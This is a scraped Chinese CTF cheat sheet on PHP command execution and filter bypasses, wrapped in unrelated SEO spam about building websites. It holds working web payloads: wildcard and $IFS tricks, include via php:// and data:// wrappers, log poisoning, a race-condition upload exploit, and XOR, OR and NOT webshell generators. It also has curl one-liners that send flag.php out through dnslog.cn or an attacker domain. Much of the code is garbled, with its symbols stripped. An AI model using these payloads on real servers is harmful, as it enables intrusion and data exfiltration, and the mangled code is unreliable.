当前位置: 首页 > news >正文

制作个人网站主页wordpress不同背景

制作个人网站主页,wordpress不同背景,东营建筑信息网,一套公司vi设计多少钱一CTF知识集-命令执行 写在开头可能会用到的提醒 ;可以用%0a来替换 是shell_exec的缩写 ls | tee 1 把ls的输出内容存入1这个文件 shell查看文件的几种方式#xff0c;tac | more | less | tail | sort | tac | cat | head | od | expand 针对flag 可以用grep { flag.php来…CTF知识集-命令执行 写在开头可能会用到的提醒 ;可以用%0a来替换 是shell_exec的缩写 ls | tee 1 把ls的输出内容存入1这个文件 shell查看文件的几种方式tac | more | less | tail | sort | tac | cat | head | od | expand 针对flag 可以用grep { flag.php来进行查看 遇到文件包含可以用伪协议来读取 遇到输出到黑洞可以用双写绕过ls;ls或者ls||ls或者ls%26%26ls,%26是的url编码 ? 就相当于?php echo,?ls; 日志注入,条件post的eval,先用ua构造一个一句话访问,日志里存在一句话了;然后用include把日志给包含住 存在eval(post)可以用post去include( G E T [ a ] ) ∣ i n c l u d e _GET[a]) | include G​ET[a])∣include_POST[a],aphp伪协议 如果是eval(变量)可以尝试参数逃逸例a??eval($_POST[a])? 输出可以用print_r var_dump 获取文件包含的所有变量,include包含住文件,var_dump(get_defined_vars())或者echo $变量 获取页面源代码搭配eval可以用,echo file_get_contents() | show_source() | highlight_file 文件重命名函数rename(‘文件名’,‘新文件名’)查看当前目录print_r(scandir(‘.’)) 利用环境变量来凑出shell命令例如 P A T H : A {PATH:~A} PATH: A{PWD:~A} linux的shell中两个单引号忽略例如l’‘s或者l\s或者’l’‘s’,单引号会被忽略 linux的shell中查看文件可以用代替空格例如catflag或者catflag linux的/bin目录下都是可以执行二进制文件例如cat是/bin/cat在一些题目可能需要用到/bin/cat这种 linux的shell的通配符,cat /bin/ca[a-z] 环境变量截取,在Linux下aca;${a}t flag.php 等同于 cat flag.php linux命令另类执行方法$(printf “ls”) 等同于 $(printf \154\163) 都是执行ls\154\163为八进制 linux的shell如果过滤空格可以用$IFS | ${IFS} | %09| | | %0b | %0c绕过%09是tab linux的shell如果过滤空格可以截取环境例如执行命令env,会出现一堆命令。Linux命令:namesi bei;${name:2:1} 那么这样子就会出现空格,看图示例 命令执行的另类方式,在linux的shell中 echo bHMK|base64 -d 这样相当于ls,以此类推可以构造任意字符。原理 echo ls 这样就相当于ls,echo ls|base64 这样可以把ls给base64,然后 echo bHMK|base64 -d 就相当于先base64解密变为 echo ls 就相当于执行了ls 通过DNS通道关键信息传出来dnslog.cn例如curl whoami .dnslog.cn那么就会解析为root.dnslog.cn可以加密payload例如/?cmdacat flag.php|base64;curl ${a:0:10} .dnslog.cn,这样慢慢带出来 通过http通道把消息带出来,例如/?cmda cat flag.php|base64 ;curl your.domin/?a${a:0:10},然后查看网站日志把消息带出来 一些栗子 条件竞争 ?phpif(isset($_GET[c])){$c$_GET[c];if(!preg_match(/\;|[a-z]|\|\%|\x09|\x26|\|\/i, $c)){system($c);} }else{highlight_file(__FILE__); }payload 上py脚本 import requestsurl http://ae1c9002-23cb-4075-abb5-f41d8b00947c.challenge.ctf.show/?c. /???/????????[-[]file {c: b#!/bin/sh\ncat flag.php }req requests.post(urlurl, filesfile) print(req.text)思路 对环境进行强制POST上传会将上传的东西变为文件强制临时保存在/tmp/php???目录???代表随机大小写字母php代码结束后会自动删除。如果我们在强制上传文件后执行了系统命令去执行我们上传的文件就可以做到命令执行形成了条件竞争。. 在linux中代表执行,. /???/???[-[],代表去/tmp下匹配临时文件了最后面的[-[]是linux的通配符匹配a-z可以在linux下自己试试/bin/ca[a-z] test.txt 简单过滤 if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag/i, $c)){eval($c);}payload /?csystem(cp fla?.php 1.txt); 思路 利用system函数把flag文件复制为1.txt 简单过滤 if(isset($_GET[c])){ $c $_GET[c]; if(!preg_match(/flag|system|php/i, $c)){eval($c); }payload ?ccp fla?.??? 1.txt; 思路 利用把flag文件复制为1.txt 参数逃逸 if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\/i, $c)){eval($c);} }payload /?ceval($_GET[a]);asystem(cp fla* 1.txt); 思路 参数逃逸eval嵌套evalGET一个参数在新参数里面赋值 复杂过滤 if(isset($_GET[c])){ $c $_GET[c]; if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\|\|echo|\;|\(/i, $c)){eval($c); }payload /?cinclude%0a$_POST[a]?aphp://filter/convert.base64-encode/resourceflag.php 思路解析 使用include或者require包含文件空格被过滤使用%0a来换行分号被过滤无法闭合就使用? ,后面接前面设置的参数使用Php伪协议 php://filter/convert.base64-encode/resource文件名 文件包含 if(isset($_GET[c])){ $c $_GET[c]; if(!preg_match(/flag/i, $c)){include($c);echo $flag;}payload ?cdata://text/plain,?php system(cp fla?.php 1.txt); ? 思路 伪协议filter用不了用data执行函数 文件包含短连接 if(isset($_GET[c])){ $c $_GET[c]; if(!preg_match(/flag|php|file/i, $c)){include($c);echo $flag; }payload /?cdata://text/plain,?system(cp fla*.* 1.txt); ? 思路 把?php 换成? 命令执行复杂 if(isset($_GET[‘c’])){ $c $_GET[c]; if(!preg_match(/[0-9]|\~|\|\|\#|\\$|\%|\^|\|\*|\|\|\-|\|\|\{|\[|\]|\}|\:|\||\,|\|\.|\|\/|\?|\\\\/i, $c)){eval($c); }payload get ?ceval(array_pop(next(get_defined_vars()))); post asystem(tac flag.php); 思路 先print_r(get_defined_vars()); post传入a要执行的函数next(print_r(get_defined_vars())); next () 函数将内部指针指向数组中的下一个元素并输出arrar_pop(next(print_r(get_defined_vars()))); 把数组中的值打印出来然后eval(arrar_pop(next(print_r(get_defined_vars())))) post传入要执行的函数 eval扫目录脚本 c??php $anew DirectoryIterator(glob:///*); foreach($a as $f) {echo($f-__toString(). ); } exit(0); ? #记得url编码 #在eval点进行传入命令执行或 异或 取反 自增脚本 例题 ?php error_reporting(0); highlight_file(__FILE__); $code$_GET[code]; if(preg_match(/[a-z0-9]/i,$code)){die(hacker); } eval($code);或运算生成脚本 如何使用 将对应的代码丢进对应的文件放到同一个文件夹。然后php [你的php文件]然后python [你的Py文件] 脚本 ?php /* php脚本*/ /* author yu22x */$myfile fopen(or_rce.txt, w); $contents; for ($i0; $i 256; $i) { for ($j0; $j 256 ; $j) { if($i16){$hex_i0.dechex($i);}else{$hex_idechex($i);}if($j16){$hex_j0.dechex($j);}else{$hex_jdechex($j);}$preg /[0-9a-z]/i;//根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo ;}else{$a%.$hex_i;$b%.$hex_j;$c(urldecode($a)|urldecode($b));if (ord($c)32ord($c)126) {$contents$contents.$c. .$a. .$b.\n;}}} } fwrite($myfile,$contents); fclose($myfile);# -*py脚本*-# author yu22ximport requests import urllib from sys import * import os def action(arg):s1s2for i in arg:fopen(or_rce.txt,r)while True:tf.readline()if t:breakif t[0]i:#print(i)s1t[2:5]s2t[6:9]breakf.close()output(s1|s2)return(output)while True:paramaction(input(\n[] your function) )action(input([] your command));print(param)异或运算生成脚本 如何使用 将对应的代码丢进对应的文件放到同一个文件夹。然后php [你的php文件]然后python [你的Py文件] 脚本 ?php/*author yu22x*/ /*php脚本*/$myfile fopen(xor_rce.txt, w); $contents; for ($i0; $i 256; $i) { for ($j0; $j 256 ; $j) { if($i16){$hex_i0.dechex($i);}else{$hex_idechex($i);}if($j16){$hex_j0.dechex($j);}else{$hex_jdechex($j);}$preg /[a-z0-9]/i; //根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo ;}else{$a%.$hex_i;$b%.$hex_j;$c(urldecode($a)^urldecode($b));if (ord($c)32ord($c)126) {$contents$contents.$c. .$a. .$b.\n;}}} } fwrite($myfile,$contents); fclose($myfile);# -*-这是Py脚本*-# author yu22ximport requests import urllib from sys import * import os def action(arg):s1s2for i in arg:fopen(xor_rce.txt,r)while True:tf.readline()if t:breakif t[0]i:#print(i)s1t[2:5]s2t[6:9]breakf.close()output(s1^s2)return(output)while True:paramaction(input(\n[] your function) )action(input([] your command));print(param)取反运算生成脚本 如何使用 将对应的代码丢进对应的文件放到同一个文件夹。然后php [你的php文件] 脚本 ?phpfwrite(STDOUT,[]your function: );$systemstr_replace(array(\r\n, \r, \n), , fgets(STDIN)); fwrite(STDOUT,[]your command: );$commandstr_replace(array(\r\n, \r, \n), , fgets(STDIN)); echo [*] (~.urlencode(~$system).)(~.urlencode(~$command).);;自增运算脚本 如何使用 该方法在.0.12以上版本不可使用 构造出的语句为 assert($*POST[*]); 使用: *php函数 ; 例如* phpinfo(); 脚本 $_[];$_$_;$_$_[!];$___$_;$__$_;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$___.$__;$___.$__;$__$_;$__;$__;$__;$__;$___.$__;$__$_;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$___.$__;$__$_;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$___.$__;$_____;$__$_;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$____.$__;$__$_;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$____.$__;$__$_;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$____.$__;$__$_;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$____.$__;$_$$____;$___($_[_]);___;$__$_;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$____.$__;$__$_;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$____.$__;$__$_;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$____.$__;$__$_;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$__;$____.$__;$_$$____;$___($_[_]);
http://www.hkea.cn/news/14498848/

相关文章:

  • wordpress制作网站模板seo优化策略
  • 展示系统 网站模板免费下载鞍山信息港便民信息
  • 做网站的如何找业务搜索引擎网站建设
  • 天堂网站什么是手机网站
  • 交友深圳网站建设青海省电话黄页
  • 深圳自建网站做中东市场哪个网站合适
  • 自己做网站 什么为什么不能自己做网站
  • 一个人做企业网站要多少天商业网站建设举例
  • 茂名专业做网站公司济宁百度推广电话
  • 通城做网站公司济南环保局官方网站
  • 保障房建设网站首页个人网站建站源码
  • 建站的好公司成都网站模板购买
  • jsp网站怎么做云南餐饮网站建设
  • 网站运营专员岗位要求商城网站源码dede
  • 1m带宽做网站怎么样拼多多刷销量网站开发
  • 做网站上传的程序在哪里下载网站开发 php模板
  • 铁路建设监理协会网站网站一屏的尺寸
  • 西樵建网站app制作开发的流程
  • 电影网站app怎么做好听的广告公司名字
  • 建筑工程图纸符号大全图解新网站该如何做网站优化呢
  • thinkphp购物网站开发视频如何做国际网站首页
  • 南昌做网站比较好的公司有哪些只用ip做网站 不备案
  • 网站规划管理系统南京江北新区房价
  • 做平面还有什么素材网站国外做电商网站有哪些方面
  • 天津自贸区建设局网站如何建设一个视频网站
  • 贵州专业网站建设公司哪家好优化网站浏览量怎么看
  • 手机怎么自己做网站天津招聘网人才招聘官网
  • 配音阁在线制作网站网站班级文化建设
  • 建站如何注重内容建设营销公关名词解释
  • 嘉兴建设网站无锡公司建立网站